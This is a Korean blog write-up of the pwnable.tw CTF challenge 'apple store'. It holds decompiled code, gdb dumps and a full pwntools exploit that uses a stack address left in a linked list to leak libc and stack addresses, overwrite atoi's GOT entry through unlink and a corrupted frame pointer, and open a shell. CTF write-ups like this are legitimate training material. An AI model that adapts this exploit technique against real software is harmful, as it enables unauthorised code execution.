Osori Development Studio

[pwnable.tw] apple store 본문

전공쪽/pwnable.tw

[pwnable.tw] apple store

OSOR2 2020. 12. 24. 20:10

사진은 내용과 무관합니다

이 단계에서 라업을 쓸거라고는 별로 생각을 못했는데... 좀 많이 막힌 문제여서 라업작성을 한다. 사실 이런류의 취약점을 처음풀어본다. 그리고 점수에 안맞게 매우매우 어려웠다.

그리고 평소에 라업을 너무 대강쓰는 것 같아서 앞으로 쓰는 틀을 좀 정형화 시켜보려고 노력중이다.

보호기법은 위와 같다. got overwrite이 가능하다!

바이너리를 살펴보자면 크게 add, delete, cart, checkout 으로 나눌 수 있다.

Add

unsigned int add()
{
  char **cart; // [esp+1Ch] [ebp-2Ch]
  char nptr; // [esp+26h] [ebp-22h]
  unsigned int v3; // [esp+3Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Device Number> ");
  fflush(stdout);
  my_read(&nptr, 0x15u);
  switch ( atoi(&nptr) )
  {
    case 0:
      puts("Stop doing that. Idiot!");
      return __readgsdword(0x14u) ^ v3;
    case 1:
      cart = create((int)"iPhone 6", (char *)0xC7);
      insert((int)cart);
      break;
    case 2:
      cart = create((int)"iPhone 6 Plus", (char *)299);
      insert((int)cart);
      break;
    case 3:
      cart = create((int)"iPad Air 2", (char *)499);
      insert((int)cart);
      break;
    case 4:
      cart = create((int)"iPad Mini 3", (char *)0x18F);
      insert((int)cart);
      break;
    case 5:
      cart = create((int)"iPod Touch", (char *)0xC7);
      insert((int)cart);
      break;
  }
  printf("You've put *%s* in your shopping cart.\n", *cart);
  puts("Brilliant! That's an amazing idea.");
  return __readgsdword(0x14u) ^ v3;
}

add함수는 이중연결리스트에 애플제품들을 추가시킨다. 여기서 create 함수와 insert 함수가 있는데, create 함수는 링크드리스트 요소를 동적할당 받아 반환하고 insert는 list의 처음부터 순회를 해서 리스트의 끝에 집어넣는 역할을 한다.

또한 chunk의 구조는 다음과 같다.

 

chunk size

name addr

price

next chunk

previous chunk

취약점은 존재하지 않는 것 처럼 보인다.

Delete

unsigned int delete()
{
  signed int v1; // [esp+10h] [ebp-38h]
  _DWORD *v2; // [esp+14h] [ebp-34h]
  int v3; // [esp+18h] [ebp-30h]
  int v4; // [esp+1Ch] [ebp-2Ch]
  int v5; // [esp+20h] [ebp-28h]
  char nptr; // [esp+26h] [ebp-22h]
  unsigned int v7; // [esp+3Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  v1 = 1;
  v2 = (_DWORD *)Cart;
  printf("Item Number> ");
  fflush(stdout);
  my_read(&nptr, 0x15u);
  v3 = atoi(&nptr);
  while ( v2 )
  {
    if ( v1 == v3 )
    {
      v4 = v2[2];                               // next
      v5 = v2[3];                               // prev
      if ( v5 )
        *(_DWORD *)(v5 + 8) = v4;
      if ( v4 )
        *(_DWORD *)(v4 + 12) = v5;
      printf("Remove %d:%s from your shopping cart.\n", v1, *v2);
      return __readgsdword(0x14u) ^ v7;
    }
    ++v1;
    v2 = (_DWORD *)v2[2];
  }
  return __readgsdword(0x14u) ^ v7;
}

delete 함수는 특정 number의 chunk를 삭제시키는 역할을 한다. 이 함수또한 별다른 취약점은 없어보인다.

Cart

int cart()
{
  signed int v0; // eax
  signed int v2; // [esp+18h] [ebp-30h]
  int v3; // [esp+1Ch] [ebp-2Ch]
  _DWORD *i; // [esp+20h] [ebp-28h]
  char buf; // [esp+26h] [ebp-22h]
  unsigned int v6; // [esp+3Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  v2 = 1;
  v3 = 0;
  printf("Let me check your cart. ok? (y/n) > ");
  fflush(stdout);
  my_read(&buf, 0x15u);
  if ( buf == 'y' )
  {
    puts("==== Cart ====");
    for ( i = (_DWORD *)Cart; i; i = (_DWORD *)i[2] )
    {
      v0 = v2++;
      printf("%d: %s - $%d\n", v0, *i, i[1]);
      v3 += i[1];
    }
  }
  return v3;
}

cart함수는 기존에 담아놓았던 아이템들과 가격들을 출력해준다. 그리고 총 가격을 반환한다. 별다른 취약점은 없다.

Checkout

unsigned int checkout()
{
  int v1; // [esp+10h] [ebp-28h]
  char *v2; // [esp+18h] [ebp-20h]
  int v3; // [esp+1Ch] [ebp-1Ch]
  unsigned int v4; // [esp+2Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  v1 = cart();
  if ( v1 == 7174 )                             // 총합이 7174원이면
  {
    puts("*: iPhone 8 - $1");                   // 1원에줌
    asprintf(&v2, "%s", "iPhone 8");
    v3 = 1;
    insert((int)&v2);
    v1 = 7175;
  }
  printf("Total: $%d\n", v1);
  puts("Want to checkout? Maybe next time!");
  return __readgsdword(0x14u) ^ v4;
}

카트에 담긴 아이템들의 가격이 7174원이면 iphone 8을 1$에 추가해준다.

(7174원은 for문 여러개 돌려서 브루트포싱하면 바로 나온다 . 나는 199*9+299*15+399*1+499*1로 했다. )

그런데 여기서 insert를 할때 동적할당을 받은 주소가 아닌 stack의 주소를 넘긴다.

이렇게 스택의 주소를 넘겨주게 되면 , checkout이 끝난 뒤에 저 부분이 다른 곳에서 재사용 될 가능성이 존재한다. (UAF)

(왜 이생각을 하는데 시간이 오래걸렸지..)

사실 여기까지 분석을 해서는 정확한 시나리오가 잡히지 않았고, 이 문제에서 사용자의 입력은 my_read라는 함수에 의해서만 발생하기 때문에 이쪽에 초점을 맞추고, 이 함수가 실행되는 곳에서 브레이크 포인트를 걸어주고 분석해보았다.

Vulnerability

gdb-peda$ x/2x 0x804c880 -> 마지막으로 할당 받은 heap 
0x804c880:    0x0804c900    0x000001f3
gdb-peda$ 
0x804c888:    0xffffcf78    0x0804c868 
gdb-peda$ 
0x804c890:    0x00000000    0x00000069
gdb-peda$ x/2x 0xffffcf78 -> 스택청크 
0xffffcf78:    0x0804c910    0x00000001 
gdb-peda$ 
0xffffcf80:    0xffffcfb6    0x00000000
gdb-peda$ x/s 0x0804c910
0x804c910:    "iPhone 8"

위는 iphone 8이 막 추가된 시점에서 연결리스트의 끝 부분을 보여준다.

0x804c880은 기존의 연결리스트의 끝이였고 스택부분에 위치한 0xffffcf78이 next로 추가된 것을 볼 수 있다.

그리고 0xffffcf78을 보면 name 에 iphone8 이 들어가있고 price 는 1로 설정되고 next는 초기화되지 않아 스택에 존재하던 쓰레기 값이 들어가 있다.

Thread 1 "applestore" hit Breakpoint 5, 0x08048ab9 in cart ()
gdb-peda$ x/10wx $ebp-0x22
0xffffcf76:    0x4c75ffff    0x20702a8e    0xcfb62a8e    0x0000ffff
0xffffcf86:    0x000a0000    0x94000000    0x000084dd    0x50000000
0xffffcf96:    0xcfd82aa6    0x8c4dffff

그리고 my_read 에 break포인트를 걸었는데 my_read의 버퍼는 ebp-0x22부분이였고 이를 보니 0xffffcf76으로 위에서 받은 0xffffcf78과 매우 근접한 부분에 위치한 것을 알 수 있다. my_read에서는 0x15바이트 만큼 읽을 수 있으니 스택청크로 할당된 부분인 0x10 크기는 모두 덮을 수 있다. (cart, delete,add, checkout에서만 가능)

이를 이용하면 leak은 쉽게 할 수 있을 것 같다. stack chunk->name addr 을 got로 변조하고 next를 null로 맞춰주면 cart 함수에서 libc leak이 가능할 것이다!

이 부분에서 한번 더 조심해야 하는 것이, 저 스택청크 부분은 계속 사용이 되는 부분이기 때문에 한변 변조한다고 그대로 남아있는 것이 아니다. 따라서 y+null + printf got + size + null +null 로 cart에 payload를 보내줘야 한다.

aslr을 꺼서 libc base가 이상한 주소이다. 

이렇게 libc leak을 했다. 이제 got overwrite을 해야하는데 우리가 변조할 수 있는 주소로 덮어쓰기가 되는 부분은 delete 밖에 없기 때문에 이 부분을 활용해야 할 것 같다.

먼저 delete 의 unlink를 이용한 방식이다.

atoisystem으로 덮어주고 싶었는데.. got overwrite이 좀 힘들것 같다는 생각이 들었다.

system <- 0xffffcf78 <-> atoi@got-0xc

(system -> stack chunk 가 아니다. 이미 리스트는 corrupt됨)

여기서 0xffffcf78을 제거하게 되면 atoi@got-0xc 의 prev부분인 atoisystem이 적히게 된다. 그러나 이후에

system->next=atoi@got-0xc 를 하는데에서 쓰기 권한이 없어 오류가 날 것이 분명하다.

따라서 이런 방법으로는 system을 어디에도 적을 수 없다는 생각이 들어서 스택부분 변조를 생각해보았다.

loc_8048BE4:
mov     dword ptr [esp], offset asc_804904B ; "> "
call    _printf
mov     eax, ds:stdout@@GLIBC_2_0
mov     [esp], eax      ; stream
call    _fflush
mov     dword ptr [esp+4], 15h ; nbytes
lea     eax, [ebp+nptr]
mov     [esp], eax      ; buf
call    my_read
lea     eax, [ebp+nptr]
mov     [esp], eax      ; nptr
call    _atoi
mov     [ebp+var_28], eax
cmp     [ebp+var_28], 6 ; switch 7 cases
ja      short def_8048C31 ; jumptable 08048C31 default case, case 0

handler의 시작부분 어셈코드인데 , ebp를 변조해서 my_read의 버퍼를 atoi로 받아줄 수도 있을 것 같았다. ebp-0x22가 버퍼이자 atoi함수의 인자로 활용되기 때문에 atoi_got-4ebp-0x22 부분에 대응되게 만들어 준다면 'sh\\x00\\x00'system을 전달해 주고 atoi가 실행되면 system("sh")가 실행될 것이다.

delete 함수의 sfp 부분을 atoi_got+0x1e로 바꿔주면 된다. 

stack 부분 leak은 environ을 통해서 stack leak을 해주고 ebp 변조를 해주었다.

정상적으로 변조가 되었다. 
쉘도 땄다. 

상당히 잘만든 문제 같다. 

from pwn import*

one=[0x45216,0x4526a,0xef6c4,0xf0567]
printf_got=0x804b010
atoi_got=0x804b040
p=process('./applestore',aslr=0)
p=remote('chall.pwnable.tw',10104)
#p=remote('chall.pwnable.tw',10104)
#0x804c880->0xffffcf78->0xffffcfb6
def add(num) :
	p.recvuntil('>')
	p.sendline('2')
	p.recvuntil('>')
	p.sendline(str(num))

def remove(num) :
	p.recvuntil('>')
	p.sendline('3')
	p.recvuntil('>')
	p.sendline(str(num))

def check() :
	p.recvuntil('>')
	p.sendline('5')
	p.recvuntil('>')
	p.sendline('y')

def cart(content) :
	p.recvuntil('>')
	p.sendline('4')
	p.recvuntil('>')
	p.send(content)

def remove_p(payload) :
	p.recvuntil('>')
	p.sendline('3')
	p.recvuntil('>')
	p.send(payload)

for i in range(9) :
	add(1)
for i in range(15) :
	add(2)
add(4)
add(3)
check()
pl='y'+'\x00' #dummy
pl+=p32(printf_got)+p32(1) #name addr, size
pl+=p32(0)*2 #next,prev
cart(pl)
p.recvuntil('27: ')
#0x49020
libc=u32(p.recv(4))-0x49020 #printf offset
system=libc+0x3a940
environ=libc+0x01b1dbc
print('libc base : '+hex(libc))
pl='y'+'\x00' #dummy
pl+=p32(environ)+p32(1) #name addr, size
pl+=p32(0)*2 #next,prev
cart(pl)
p.recvuntil('27: ')
stack=u32(p.recv(4))-0x126+0x22
binsh=libc+0x15910b
print('stack : '+hex(stack))

for i in range(20) : 
	remove(1)

pl='7\x00'
pl+=p32(printf_got)+p32(1)
pl+=p32(stack-0xc)+p32(atoi_got+0x1e)
remove_p(pl)

p.recvuntil('>')
print(hex(binsh))
pl='sh\x00\x00'+p32(system)

p.send(pl)
p.interactive()

'전공쪽 > pwnable.tw' 카테고리의 다른 글

[pwnable.tw] starbound  (0) 2020.12.31
[pwnable.tw] death note  (0) 2020.12.29
[pwnable.tw] tcache tear  (0) 2020.12.27
[pwnable.tw] Re-alloc  (0) 2020.12.24
[pwanble.tw] breakout  (0) 2020.12.22